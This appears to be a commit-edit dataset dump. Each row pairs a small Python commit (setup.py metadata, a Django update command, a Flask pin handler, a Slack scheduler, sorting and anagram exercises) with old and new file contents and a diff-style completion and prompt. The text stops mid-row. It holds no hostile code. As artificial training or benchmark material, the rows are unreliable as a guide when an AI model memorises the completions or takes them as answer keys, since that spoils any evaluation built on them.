commit stringlengths 40 40 | old_file stringlengths 5 117 | new_file stringlengths 5 117 | old_contents stringlengths 0 1.93k | new_contents stringlengths 19 3.3k | subject stringlengths 17 320 | message stringlengths 18 3.28k | lang stringclasses 1
value | license stringclasses 13
values | repos stringlengths 7 42.4k | completion stringlengths 152 6.66k | prompt stringlengths 21 3.65k |
|---|---|---|---|---|---|---|---|---|---|---|---|
b78c634069354565cf749ed139cade244415b5a4 | setup.py | setup.py | import os
from setuptools import setup
longDesc = ""
if os.path.exists("README.rst"):
longDesc = open("README.rst").read().strip()
setup(
name = "pytesseract",
version = "0.1.6",
author = "Samuel Hoffstaetter",
author_email="",
maintainer = "Matthias Lee",
maintainer_email = "pytesseract@mad... | import os
from setuptools import setup
longDesc = ""
if os.path.exists("README.rst"):
longDesc = open("README.rst").read().strip()
setup(
name = "pytesseract",
version = "0.1.6",
author = "Samuel Hoffstaetter",
author_email="pytesseract@madmaze.net",
maintainer = "Matthias Lee",
maintainer_e... | Include author email since it's required info | Include author email since it's required info
Same as maintainer email, because the author email is unknown | Python | apache-2.0 | madmaze/pytesseract | <REPLACE_OLD> author_email="",
<REPLACE_NEW> author_email="pytesseract@madmaze.net",
<REPLACE_END> <|endoftext|> import os
from setuptools import setup
longDesc = ""
if os.path.exists("README.rst"):
longDesc = open("README.rst").read().strip()
setup(
name = "pytesseract",
version = "0.1.6",
author = "... | Include author email since it's required info
Same as maintainer email, because the author email is unknown
import os
from setuptools import setup
longDesc = ""
if os.path.exists("README.rst"):
longDesc = open("README.rst").read().strip()
setup(
name = "pytesseract",
version = "0.1.6",
author = "Samuel... |
64bff944752cbba16878b22025d6ee332e923007 | pontoon/administration/management/commands/update_projects.py | pontoon/administration/management/commands/update_projects.py |
import datetime
from django.core.management.base import BaseCommand, CommandError
from pontoon.administration.files import (
update_from_repository,
extract_to_database,
)
from pontoon.base.models import Project
class Command(BaseCommand):
args = '<project_id project_id ...>'
help = 'Update projec... |
import datetime
from django.core.management.base import BaseCommand, CommandError
from pontoon.administration.files import (
update_from_repository,
extract_to_database,
)
from pontoon.base.models import Project
class Command(BaseCommand):
args = '<project_id project_id ...>'
help = 'Update projec... | Print new line after operation title | Print new line after operation title
| Python | bsd-3-clause | jotes/pontoon,mathjazz/pontoon,participedia/pontoon,Jobava/mirror-pontoon,mathjazz/pontoon,m8ttyB/pontoon,vivekanand1101/pontoon,sudheesh001/pontoon,mastizada/pontoon,yfdyh000/pontoon,mastizada/pontoon,jotes/pontoon,mastizada/pontoon,vivekanand1101/pontoon,Osmose/pontoon,participedia/pontoon,yfdyh000/pontoon,vivekanand... | <REPLACE_OLD> self.stdout.write(self.help.upper())
<REPLACE_NEW> self.stdout.write('%s\n' % self.help.upper())
<REPLACE_END> <|endoftext|>
import datetime
from django.core.management.base import BaseCommand, CommandError
from pontoon.administration.files import (
update_from_repository,
extract_to_databa... | Print new line after operation title
import datetime
from django.core.management.base import BaseCommand, CommandError
from pontoon.administration.files import (
update_from_repository,
extract_to_database,
)
from pontoon.base.models import Project
class Command(BaseCommand):
args = '<project_id proj... |
99952c977eee74ecc95a6af4b2867738850bc435 | topoflow_utils/hook.py | topoflow_utils/hook.py | def get_dtype(parameter_value):
"""Get the TopoFlow data type of a parameter.
Parameters
----------
parameter_value : object
An object, a scalar.
"""
try:
float(parameter_value)
except ValueError:
return 'string'
else:
return 'float'
def assign_parameter... | """Routines used by WMT hooks for TopoFlow components."""
choices_map = {
'Yes': 1,
'No': 0
}
units_map = {
'meters': 'm^2',
'kilometers': 'km^2'
}
def get_dtype(parameter_value):
"""Get the TopoFlow data type of a parameter.
Parameters
----------
parameter_value : object
An ob... | Add choices_map and units_map global variables | Add choices_map and units_map global variables
| Python | mit | csdms/topoflow-utils | <REPLACE_OLD> def <REPLACE_NEW> """Routines used by WMT hooks for TopoFlow components."""
choices_map = {
'Yes': 1,
'No': 0
}
units_map = {
'meters': 'm^2',
'kilometers': 'km^2'
}
def <REPLACE_END> <|endoftext|> """Routines used by WMT hooks for TopoFlow components."""
choices_map = {
'Yes': 1,
... | Add choices_map and units_map global variables
def get_dtype(parameter_value):
"""Get the TopoFlow data type of a parameter.
Parameters
----------
parameter_value : object
An object, a scalar.
"""
try:
float(parameter_value)
except ValueError:
return 'string'
els... |
3db4d306c779ef3a84133dbbfc5614d514d72411 | pi_gpio/handlers.py | pi_gpio/handlers.py | from flask.ext.restful import fields
from meta import BasicResource
from config.pins import PinHttpManager
from pi_gpio import app
HTTP_MANAGER = PinHttpManager()
class Pin(BasicResource):
def __init__(self):
super(Pin, self).__init__()
self.fields = {
"num": fields.Integer,
... | from flask.ext.restful import fields
from meta import BasicResource
from config.pins import PinHttpManager
from pi_gpio import app
HTTP_MANAGER = PinHttpManager()
class Pin(BasicResource):
def __init__(self):
super(Pin, self).__init__()
self.fields = {
"num": fields.Integer,
... | Add new fields to response | Add new fields to response
| Python | mit | projectweekend/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server,thijstriemstra/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server,thijstriemstra/Pi-GPIO-Server,thijstriemstra/Pi-GPIO-Server,projectweekend/Pi-GPIO-Server,thijstriemstra/Pi-GPIO-Server | <INSERT> fields.Integer,
"resistor": fields.String,
"initial": fields.String,
"event": fields.String,
"bounce": <INSERT_END> <|endoftext|> from flask.ext.restful import fields
from meta import BasicResource
from config.pins import PinHttpManager
from pi_gpio import app
H... | Add new fields to response
from flask.ext.restful import fields
from meta import BasicResource
from config.pins import PinHttpManager
from pi_gpio import app
HTTP_MANAGER = PinHttpManager()
class Pin(BasicResource):
def __init__(self):
super(Pin, self).__init__()
self.fields = {
"nu... |
859a23790968c84cdbc4fa7467957a3a1ed1e069 | greatbigcrane/project/forms.py | greatbigcrane/project/forms.py | """
Copyright 2010 Jason Chu, Dusty Phillips, and Phil Schalm
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agre... | """
Copyright 2010 Jason Chu, Dusty Phillips, and Phil Schalm
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agre... | Add a name for the recipe section | Add a name for the recipe section
| Python | apache-2.0 | pnomolos/greatbigcrane,pnomolos/greatbigcrane | <INSERT> name = forms.CharField(initial="django")
<INSERT_END> <|endoftext|> """
Copyright 2010 Jason Chu, Dusty Phillips, and Phil Schalm
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http... | Add a name for the recipe section
"""
Copyright 2010 Jason Chu, Dusty Phillips, and Phil Schalm
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless... |
27967818b58b2630a6282999e7b39af618716f91 | scheduler.py | scheduler.py | import logging
from apscheduler.schedulers.blocking import BlockingScheduler
from raven.base import Client as RavenClient
import warner
import archiver
import announcer
import flagger
from config import Config
_config = Config()
raven_client = RavenClient()
# When testing changes, set the "TEST_SCHEDULE" envvar to... | import logging
from apscheduler.schedulers.blocking import BlockingScheduler
from raven.base import Client as RavenClient
import warner
import archiver
import announcer
import flagger
from config import Config
_config = Config()
raven_client = RavenClient()
# When testing changes, set the "TEST_SCHEDULE" envvar to... | Use RUN_ONCE to only run the destalinate job once immediately | Use RUN_ONCE to only run the destalinate job once immediately
| Python | apache-2.0 | TheConnMan/destalinator,TheConnMan/destalinator,royrapoport/destalinator,randsleadershipslack/destalinator,royrapoport/destalinator,randsleadershipslack/destalinator | <INSERT> # Use RUN_ONCE to only run the destalinate job once immediately
if os.getenv("RUN_ONCE"):
destalinate_job()
else:
<INSERT_END> <|endoftext|> import logging
from apscheduler.schedulers.blocking import BlockingScheduler
from raven.base import Client as RavenClient
import warner
import a... | Use RUN_ONCE to only run the destalinate job once immediately
import logging
from apscheduler.schedulers.blocking import BlockingScheduler
from raven.base import Client as RavenClient
import warner
import archiver
import announcer
import flagger
from config import Config
_config = Config()
raven_client = RavenClie... |
2266ca63ec23fd768c659ee4b3988fce7cd523c6 | setup.py | setup.py | #!/usr/bin/env python
# Create wheel with: python setup.py bdist_wheel
# Install with: pip install dist/loadconfig-*-none-any.whl
from os import environ
from os.path import dirname, abspath
from setuptools import setup
from six.moves.configparser import ConfigParser
c = ConfigParser()
c.read('{}/setup.cfg'.for... | #!/usr/bin/env python
# Create wheel with: python setup.py bdist_wheel
# Install with: pip install dist/loadconfig-*-none-any.whl
from os import environ
from os.path import dirname, abspath
from setuptools import setup
import sys
if sys.version_info[0] == 3:
from configparser import ConfigParser
else:
f... | Remove six dependency when pip installing from sources | Remove six dependency when pip installing from sources
Signed-off-by: Daniel Mizyrycki <ef2aa52a54375f83972079d447cb6ee481ced226@glidelink.net>
| Python | mit | mzdaniel/loadconfig,mzdaniel/loadconfig | <REPLACE_OLD> setup
from six.moves.configparser <REPLACE_NEW> setup
import sys
if sys.version_info[0] == 3:
from configparser import ConfigParser
else:
from ConfigParser <REPLACE_END> <|endoftext|> #!/usr/bin/env python
# Create wheel with: python setup.py bdist_wheel
# Install with: pip install dist/loa... | Remove six dependency when pip installing from sources
Signed-off-by: Daniel Mizyrycki <ef2aa52a54375f83972079d447cb6ee481ced226@glidelink.net>
#!/usr/bin/env python
# Create wheel with: python setup.py bdist_wheel
# Install with: pip install dist/loadconfig-*-none-any.whl
from os import environ
from os.path ... |
4d40e9db4bd6b58787557e8d5547f69eb67c9b96 | tests/changes/api/test_author_build_index.py | tests/changes/api/test_author_build_index.py | from uuid import uuid4
from changes.config import db
from changes.models import Author
from changes.testutils import APITestCase
class AuthorBuildListTest(APITestCase):
def test_simple(self):
fake_author_id = uuid4()
self.create_build(self.project)
path = '/api/0/authors/{0}/builds/'.fo... | from uuid import uuid4
from changes.config import db
from changes.models import Author
from changes.testutils import APITestCase
class AuthorBuildListTest(APITestCase):
def test_simple(self):
fake_author_id = uuid4()
self.create_build(self.project)
path = '/api/0/authors/{0}/builds/'.fo... | Add additional coverage to author build list | Add additional coverage to author build list
| Python | apache-2.0 | wfxiang08/changes,wfxiang08/changes,dropbox/changes,bowlofstew/changes,bowlofstew/changes,wfxiang08/changes,dropbox/changes,wfxiang08/changes,dropbox/changes,bowlofstew/changes,bowlofstew/changes,dropbox/changes | <REPLACE_OLD> Author(email='foo@example.com', <REPLACE_NEW> Author(email=self.default_user.email, <REPLACE_END> <INSERT> build.id.hex
self.login(self.default_user)
path = '/api/0/authors/me/builds/'
resp = self.client.get(path)
assert resp.status_code == 200
data = self.unseri... | Add additional coverage to author build list
from uuid import uuid4
from changes.config import db
from changes.models import Author
from changes.testutils import APITestCase
class AuthorBuildListTest(APITestCase):
def test_simple(self):
fake_author_id = uuid4()
self.create_build(self.project)
... |
5a97b4b6327dee09fa32eff68c8a934e85405853 | txircd/modules/extra/connlimit.py | txircd/modules/extra/connlimit.py | from twisted.plugin import IPlugin
from txircd.module_interface import IModuleData, ModuleData
from zope.interface import implements
class ConnectionLimit(ModuleData):
implements(IPlugin, IModuleData)
name = "ConnectionLimit"
peerConnections = {}
def hookIRCd(self, ircd):
self.ircd = ircd
... | Implement the connection limit module | Implement the connection limit module
| Python | bsd-3-clause | Heufneutje/txircd,ElementalAlchemist/txircd | <REPLACE_OLD> <REPLACE_NEW> from twisted.plugin import IPlugin
from txircd.module_interface import IModuleData, ModuleData
from zope.interface import implements
class ConnectionLimit(ModuleData):
implements(IPlugin, IModuleData)
name = "ConnectionLimit"
peerConnections = {}
def hookIRCd(self, ircd):... | Implement the connection limit module
| |
f64ce86d1dcf402b68f55c2d6f54a00dbba8a1f5 | examples/colorbars.py | examples/colorbars.py | """
This example demonstrates how to make colorful bars.
"""
from rich.block_bar import BlockBar
from rich.console import Console
from rich.table import Table
table = Table()
table.add_column("Score")
table.add_row(BlockBar(size=100, begin=0, end=5, width=30, color="bright_red"))
table.add_row(BlockBar(size=100, b... | Add example for block bar | Add example for block bar
| Python | mit | willmcgugan/rich | <REPLACE_OLD> <REPLACE_NEW> """
This example demonstrates how to make colorful bars.
"""
from rich.block_bar import BlockBar
from rich.console import Console
from rich.table import Table
table = Table()
table.add_column("Score")
table.add_row(BlockBar(size=100, begin=0, end=5, width=30, color="bright_red"))
table... | Add example for block bar
| |
ad1e635688dffe5a5ba3f7f30f31d804f695d201 | string/anagram.py | string/anagram.py | # Return true if two strings are anagrams of one another
def is_anagram(str_one, str_two):
# lower case both strings to account for case insensitivity
a = str_one.lower()
b = str_two.lower()
# convert strings into lists and sort each
a = list(a).sort()
b = list(b).sort()
# convert lists back into strings
a =... | # Return true if two strings are anagrams of one another
def is_anagram(str_one, str_two):
# lower case both strings to account for case insensitivity
a = str_one.lower()
b = str_two.lower()
# convert strings into lists and sort each
a = list(a)
b = list(b)
# sort lists
a.sort()
b.sort()
# consolidate lis... | Debug and add test cases | Debug and add test cases
| Python | mit | derekmpham/interview-prep,derekmpham/interview-prep | <REPLACE_OLD> list(a).sort()
b <REPLACE_NEW> list(a)
b <REPLACE_END> <REPLACE_OLD> list(b).sort()
# convert <REPLACE_NEW> list(b)
# sort lists
a.sort()
b.sort()
# consolidate <REPLACE_END> <DELETE> back <DELETE_END> <REPLACE_OLD> b:
return true
else:
return false
<REPLACE_NEW> b:
print True
els... | Debug and add test cases
# Return true if two strings are anagrams of one another
def is_anagram(str_one, str_two):
# lower case both strings to account for case insensitivity
a = str_one.lower()
b = str_two.lower()
# convert strings into lists and sort each
a = list(a).sort()
b = list(b).sort()
# convert li... |
ff0fa3d3aaa7de147571330a16895befb272440a | mongoshell.py | mongoshell.py | #! /usr/bin/env python
from os import environ
from subprocess import check_call
from urlparse import urlparse
if 'MONGOLAB_URI' in environ:
print 'Using', environ['MONGOLAB_URI']
url = urlparse(environ['MONGOLAB_URI'])
cmd = 'mongo -u %s -p %s %s:%d/%s' % (url.username,
... | Add script to run a mongo shell in the MongoLab environment | Add script to run a mongo shell in the MongoLab environment
| Python | bsd-3-clause | taarifa/taarifa_backend,taarifa/taarifa_backend,taarifa/taarifa_backend,taarifa/taarifa_backend | <REPLACE_OLD> <REPLACE_NEW> #! /usr/bin/env python
from os import environ
from subprocess import check_call
from urlparse import urlparse
if 'MONGOLAB_URI' in environ:
print 'Using', environ['MONGOLAB_URI']
url = urlparse(environ['MONGOLAB_URI'])
cmd = 'mongo -u %s -p %s %s:%d/%s' % (url.username,
... | Add script to run a mongo shell in the MongoLab environment
| |
56856ac1103ec9f3ba0f2da81832a59e7e773256 | doc/ext/nova_autodoc.py | doc/ext/nova_autodoc.py | import os
from nova import utils
def setup(app):
rootdir = os.path.abspath(app.srcdir + '/..')
print "**Autodocumenting from %s" % rootdir
rv = utils.execute('cd %s && ./generate_autodoc_index.sh' % rootdir)
print rv[0]
| import gettext
import os
gettext.install('nova')
from nova import utils
def setup(app):
rootdir = os.path.abspath(app.srcdir + '/..')
print "**Autodocumenting from %s" % rootdir
rv = utils.execute('cd %s && ./generate_autodoc_index.sh' % rootdir)
print rv[0]
| Fix doc building endpoint for gettext. | Fix doc building endpoint for gettext. | Python | apache-2.0 | blueboxgroup/nova,BeyondTheClouds/nova,russellb/nova,Brocade-OpenSource/OpenStack-DNRM-Nova,SUSE-Cloud/nova,termie/nova-migration-demo,shahar-stratoscale/nova,rajalokan/nova,devendermishrajio/nova_test_latest,aristanetworks/arista-ovs-nova,NoBodyCam/TftpPxeBootBareMetal,virtualopensystems/nova,dims/nova,bclau/nova,good... | <REPLACE_OLD> os
from <REPLACE_NEW> gettext
import os
gettext.install('nova')
from <REPLACE_END> <|endoftext|> import gettext
import os
gettext.install('nova')
from nova import utils
def setup(app):
rootdir = os.path.abspath(app.srcdir + '/..')
print "**Autodocumenting from %s" % rootdir
rv = utils.ex... | Fix doc building endpoint for gettext.
import os
from nova import utils
def setup(app):
rootdir = os.path.abspath(app.srcdir + '/..')
print "**Autodocumenting from %s" % rootdir
rv = utils.execute('cd %s && ./generate_autodoc_index.sh' % rootdir)
print rv[0]
|
7fc62edee40ecedc49b0529e17ac04e4d7bf6865 | door/models.py | door/models.py | from django.db import models
from django.utils import timezone
class DoorStatus(models.Model):
datetime = models.DateTimeField()
status = models.BooleanField(default=False)
name = models.CharField(max_length=20)
def __str__(self):
return self.name
@staticmethod
def get_door_by_name(n... | from django.db import models
from django.utils import timezone
class DoorStatus(models.Model):
datetime = models.DateTimeField()
status = models.BooleanField(default=False)
name = models.CharField(max_length=20)
def __str__(self):
return self.name
@staticmethod
def get_door_by_name(n... | Change plural name of DoorStatus model | Change plural name of DoorStatus model
| Python | mit | hackerspace-ntnu/website,hackerspace-ntnu/website,hackerspace-ntnu/website | <REPLACE_OLD> door
class <REPLACE_NEW> door
class Meta:
verbose_name_plural = "Door Statuses"
class <REPLACE_END> <|endoftext|> from django.db import models
from django.utils import timezone
class DoorStatus(models.Model):
datetime = models.DateTimeField()
status = models.BooleanField(default... | Change plural name of DoorStatus model
from django.db import models
from django.utils import timezone
class DoorStatus(models.Model):
datetime = models.DateTimeField()
status = models.BooleanField(default=False)
name = models.CharField(max_length=20)
def __str__(self):
return self.name
... |
a6d87b6e4dba63b0a74dc6173e90823bdb9fe070 | setup.py | setup.py | from setuptools import setup, find_packages
setup(
name = "biofloat",
version = "0.1.1",
packages = find_packages(),
scripts = ['scripts/load_biofloat_cache.py'],
# metadata for upload to PyPI
author = "Mike McCann",
author_email = "mccann@mbari.org",
description = "Software for working... | from setuptools import setup, find_packages
setup(
name = "biofloat",
version = "0.1.17",
packages = find_packages(),
requires = ['Python (>=2.7)'],
install_requires = [
'beautifulsoup4>=4.4',
'coverage>=4',
'jupyter>=1.0.0',
'matplotlib',
'numpy>=1.10',
... | Add install_requires packages, at version 0.1.17 | Add install_requires packages, at version 0.1.17
| Python | mit | MBARIMike/biofloat,MBARIMike/biofloat,biofloat/biofloat,biofloat/biofloat | <REPLACE_OLD> find_packages
setup(
<REPLACE_NEW> find_packages
setup(
<REPLACE_END> <REPLACE_OLD> "0.1.1",
<REPLACE_NEW> "0.1.17",
<REPLACE_END> <INSERT> requires = ['Python (>=2.7)'],
install_requires = [
'beautifulsoup4>=4.4',
'coverage>=4',
'jupyter>=1.0.0',
'matplotlib',
... | Add install_requires packages, at version 0.1.17
from setuptools import setup, find_packages
setup(
name = "biofloat",
version = "0.1.1",
packages = find_packages(),
scripts = ['scripts/load_biofloat_cache.py'],
# metadata for upload to PyPI
author = "Mike McCann",
author_email = "mccann@m... |
e4166b3cf4f37f74f6c7e1be2641f556e5763a1a | evalQuadratic.py | evalQuadratic.py | def evalQuadratic( a, b, c, x ):
a = int ( a )
b = int ( b )
c = int ( c )
x = int ( x )
s = (a * (x ** 2)) + (b * x) + c
return s
a = input( "Enter a: " )
b = input( "Enter b: " )
c = input( "Enter c: " )
x = input( "Enter x: " )
print( "The answer of the quadratic equation is " + str( evalQuadratic( a, b, c... | Add the answer to the second question of Assignment 3 | Add the answer to the second question of Assignment 3
| Python | mit | SuyashD95/python-assignments | <REPLACE_OLD> <REPLACE_NEW> def evalQuadratic( a, b, c, x ):
a = int ( a )
b = int ( b )
c = int ( c )
x = int ( x )
s = (a * (x ** 2)) + (b * x) + c
return s
a = input( "Enter a: " )
b = input( "Enter b: " )
c = input( "Enter c: " )
x = input( "Enter x: " )
print( "The answer of the quadratic equation is " ... | Add the answer to the second question of Assignment 3
| |
da063ba3936cf37bd53c3ba089173e96916339bf | setup.py | setup.py | from distutils.core import setup
import os
version = '0.1.0dev'
setup(
name='FrappeClient',
version=version,
author='Rushabh Mehta',
author_email='rmehta@erpnext.com',
download_url='https://github.com/jevonearth/frappe-client/archive/'+version+'.tar.gz',
packages=['frappeclient',],
install... | from setuptools import setup
version = '0.1.0dev'
with open('requirements.txt') as requirements:
install_requires = requirements.read().split()
setup(
name='frappeclient',
version=version,
author='Rushabh Mehta',
author_email='rmehta@erpnext.com',
packages=[
'frappeclient'
],
... | Clean up, PEP-8 fixes, remove download_url | Clean up, PEP-8 fixes, remove download_url
Switch to setuptools, so we can get tests_requires.
PEP-8 updates
Remove download link, as it was wrong, and it is not needed for pip
installs from git. Can be put back in if/when this package gets
published to pypi.
| Python | mit | frappe/frappe-client | <REPLACE_OLD> distutils.core <REPLACE_NEW> setuptools <REPLACE_END> <REPLACE_OLD> setup
import os
version <REPLACE_NEW> setup
version <REPLACE_END> <REPLACE_OLD> '0.1.0dev'
setup(
<REPLACE_NEW> '0.1.0dev'
with open('requirements.txt') as requirements:
<REPLACE_END> <REPLACE_OLD> name='FrappeClient',
<REPLACE_NEW... | Clean up, PEP-8 fixes, remove download_url
Switch to setuptools, so we can get tests_requires.
PEP-8 updates
Remove download link, as it was wrong, and it is not needed for pip
installs from git. Can be put back in if/when this package gets
published to pypi.
from distutils.core import setup
import os
version = '0.1... |
555d441053731957f9648e835e4dbbd686f2f7e5 | whack/operations.py | whack/operations.py | import os
from catchy import HttpCacher, DirectoryCacher, NoCachingStrategy
from .installer import Installer
from .sources import PackageSourceFetcher
from .providers import CachingPackageProvider
from .deployer import PackageDeployer
def create(caching):
if not caching.enabled:
cacher = NoCachingStrate... | import os
from catchy import HttpCacher, xdg_directory_cacher, NoCachingStrategy
from .installer import Installer
from .sources import PackageSourceFetcher
from .providers import CachingPackageProvider
from .deployer import PackageDeployer
def create(caching):
if not caching.enabled:
cacher = NoCachingS... | Use XDG directory for caching | Use XDG directory for caching
| Python | bsd-2-clause | mwilliamson/whack | <REPLACE_OLD> DirectoryCacher, <REPLACE_NEW> xdg_directory_cacher, <REPLACE_END> <REPLACE_OLD> DirectoryCacher(os.path.expanduser("~/.cache/whack/builds"))
<REPLACE_NEW> xdg_directory_cacher("whack/builds")
<REPLACE_END> <|endoftext|> import os
from catchy import HttpCacher, xdg_directory_cacher, NoCachingStrategy
... | Use XDG directory for caching
import os
from catchy import HttpCacher, DirectoryCacher, NoCachingStrategy
from .installer import Installer
from .sources import PackageSourceFetcher
from .providers import CachingPackageProvider
from .deployer import PackageDeployer
def create(caching):
if not caching.enabled:
... |
3202d2c067ce76f7e7e12f42b7531e7e082b1b88 | python-dsl/buck_parser/json_encoder.py | python-dsl/buck_parser/json_encoder.py | from __future__ import absolute_import, division, print_function, with_statement
import collections
from json import JSONEncoder
# A JSONEncoder subclass which handles map-like and list-like objects.
class BuckJSONEncoder(JSONEncoder):
def __init__(self):
super(BuckJSONEncoder, self).__init__(self)
... | from __future__ import absolute_import, division, print_function, with_statement
import collections
from json import JSONEncoder
# A JSONEncoder subclass which handles map-like and list-like objects.
class BuckJSONEncoder(JSONEncoder):
def __init__(self):
super(BuckJSONEncoder, self).__init__()
def ... | Fix Python 3 incompatible super constructor invocation. | Fix Python 3 incompatible super constructor invocation.
Summary: Python is a mess and requires all sorts of hacks to work :(
Reviewed By: philipjameson
fbshipit-source-id: 12f3f59a0d
| Python | apache-2.0 | brettwooldridge/buck,brettwooldridge/buck,JoelMarcey/buck,brettwooldridge/buck,rmaz/buck,Addepar/buck,facebook/buck,rmaz/buck,romanoid/buck,nguyentruongtho/buck,rmaz/buck,facebook/buck,SeleniumHQ/buck,rmaz/buck,brettwooldridge/buck,rmaz/buck,romanoid/buck,nguyentruongtho/buck,Addepar/buck,SeleniumHQ/buck,Addepar/buck,b... | <REPLACE_OLD> self).__init__(self)
<REPLACE_NEW> self).__init__()
<REPLACE_END> <|endoftext|> from __future__ import absolute_import, division, print_function, with_statement
import collections
from json import JSONEncoder
# A JSONEncoder subclass which handles map-like and list-like objects.
class BuckJSONEncod... | Fix Python 3 incompatible super constructor invocation.
Summary: Python is a mess and requires all sorts of hacks to work :(
Reviewed By: philipjameson
fbshipit-source-id: 12f3f59a0d
from __future__ import absolute_import, division, print_function, with_statement
import collections
from json import JSONEncoder
#... |
5c2ffba0f4200a4ba501de08adfbb88504f6252a | alg_selection_sort.py | alg_selection_sort.py | def selection_sort(a_list):
"""Selection Sort algortihm.
Concept:
- Find out the max item's original slot first,
- then swap it and the item at the max slot.
- Iterate the procedure for the next max, etc.
"""
for max_slot in reversed(range(len(a_list))):
select_slot = 0
... | def selection_sort(a_list):
"""Selection Sort algortihm.
Concept:
- Find out the max item's original slot first,
- then swap it and the item at the max slot.
- Iterate the procedure for the next max, etc.
Selection sort is more efficient than bubble sort
since the former does not s... | Add comment about more efficient than bubble sort | Add comment about more efficient than bubble sort
| Python | bsd-2-clause | bowen0701/algorithms_data_structures | <REPLACE_OLD> etc.
<REPLACE_NEW> etc.
Selection sort is more efficient than bubble sort
since the former does not swap for all successive pairs,
and just do one swapping for each iteration.
<REPLACE_END> <|endoftext|> def selection_sort(a_list):
"""Selection Sort algortihm.
Concept:
- Fi... | Add comment about more efficient than bubble sort
def selection_sort(a_list):
"""Selection Sort algortihm.
Concept:
- Find out the max item's original slot first,
- then swap it and the item at the max slot.
- Iterate the procedure for the next max, etc.
"""
for max_slot in revers... |
00ebbcb50ada0369dde02b114efc573d9aceea67 | setup.py | setup.py | from setuptools import setup
setup(
name='realex-client',
version='0.8.0',
packages=['realexpayments'],
url='https://github.com/viniciuschiele/realex-client',
license='MIT',
author='Vinicius Chiele',
author_email='vinicius.chiele@gmail.com',
description='Python interface to Realex Payme... | from setuptools import setup
setup(
name='realexpayments',
version='0.8.0',
packages=['realexpayments'],
url='https://github.com/viniciuschiele/realex-sdk',
license='MIT',
author='Vinicius Chiele',
author_email='vinicius.chiele@gmail.com',
description='Realex Payments SDK for Python',
... | Rename project name to realexpayments | Rename project name to realexpayments
| Python | mit | viniciuschiele/realex-sdk,viniciuschiele/realex-client | <REPLACE_OLD> name='realex-client',
<REPLACE_NEW> name='realexpayments',
<REPLACE_END> <REPLACE_OLD> url='https://github.com/viniciuschiele/realex-client',
<REPLACE_NEW> url='https://github.com/viniciuschiele/realex-sdk',
<REPLACE_END> <REPLACE_OLD> description='Python interface to Realex Payments',
<REPLACE_NEW> ... | Rename project name to realexpayments
from setuptools import setup
setup(
name='realex-client',
version='0.8.0',
packages=['realexpayments'],
url='https://github.com/viniciuschiele/realex-client',
license='MIT',
author='Vinicius Chiele',
author_email='vinicius.chiele@gmail.com',
descri... |
0e562045ad47f55f799054dd29c51a465ac926a3 | python/array/RemoveDuplicatesFromSortedArrayII.py | python/array/RemoveDuplicatesFromSortedArrayII.py | #Too many mistakes were made.
#0. should use while loop instead of for.
#1. messed up with index. maybe with the sleepy head at 3pm
class Solution:
# @param a list of integers
# @return an integer
def removeDuplicates(self, A):
result = len(A)
if result == 0:
return result
... | Remove Duplicates From Sorted Array II | Remove Duplicates From Sorted Array II
| Python | mit | sureleo/leetcode,sureleo/leetcode,lsingal/leetcode,sureleo/leetcode,lsingal/leetcode,lsingal/leetcode | <REPLACE_OLD> <REPLACE_NEW> #Too many mistakes were made.
#0. should use while loop instead of for.
#1. messed up with index. maybe with the sleepy head at 3pm
class Solution:
# @param a list of integers
# @return an integer
def removeDuplicates(self, A):
result = len(A)
if result == 0:
... | Remove Duplicates From Sorted Array II
| |
b487df165bb257b327fdaf0588240f48f0ded0db | ipython_config.py | ipython_config.py | c = get_config()
# Kernel config
c.IPKernelApp.pylab = 'inline' # if you want plotting support always
# Notebook config
c.NotebookApp.ip = '*'
c.NotebookApp.open_browser = False
c.NotebookApp.port = 8080
c.NotebookApp.notebook_dir = '/work'
c.NotebookApp.trust_xheaders = True
c.NotebookApp.tornado_settings = {
... | Add ipython config file with notebook dir set to /work | Add ipython config file with notebook dir set to /work
| Python | mit | louisdorard/bml-base,louisdorard/bml-base | <INSERT> c = get_config()
# Kernel config
c.IPKernelApp.pylab = 'inline' <INSERT_END> <INSERT> # if you want plotting support always
# Notebook config
c.NotebookApp.ip = '*'
c.NotebookApp.open_browser = False
c.NotebookApp.port = 8080
c.NotebookApp.notebook_dir = '/work'
c.NotebookApp.trust_xheaders = True
c.Notebo... | Add ipython config file with notebook dir set to /work
| |
cf7b2bb0569431e97cc316dc41924c78806af5a9 | drivers/vnfm/gvnfm/gvnfmadapter/driver/pub/config/config.py | drivers/vnfm/gvnfm/gvnfmadapter/driver/pub/config/config.py | # Copyright 2017 ZTE Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | # Copyright 2017 ZTE Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | Add code framework of gvnfm-driver | Add code framework of gvnfm-driver
Change-Id: Ibb0dd98a73860f538599328b718040df5f3f7007
Issue-Id: NFVO-132
Signed-off-by: fujinhua <302f4934d283b6f50163b4a7fd9b6c869e0ad64e@zte.com.cn>
| Python | apache-2.0 | open-o/nfvo,open-o/nfvo,open-o/nfvo,open-o/nfvo,open-o/nfvo | <REPLACE_OLD> "ztevmanagerdriver",
<REPLACE_NEW> "gvnfmdriver",
<REPLACE_END> <REPLACE_OLD> "/openoapi/ztevmanagerdriver/v1",
<REPLACE_NEW> "/openoapi/gvnfmdriver/v1",
<REPLACE_END> <REPLACE_OLD> "8410",
<REPLACE_NEW> "8484",
<REPLACE_END> <|endoftext|> # Copyright 2017 ZTE Corporation.
#
# Licensed under the Apa... | Add code framework of gvnfm-driver
Change-Id: Ibb0dd98a73860f538599328b718040df5f3f7007
Issue-Id: NFVO-132
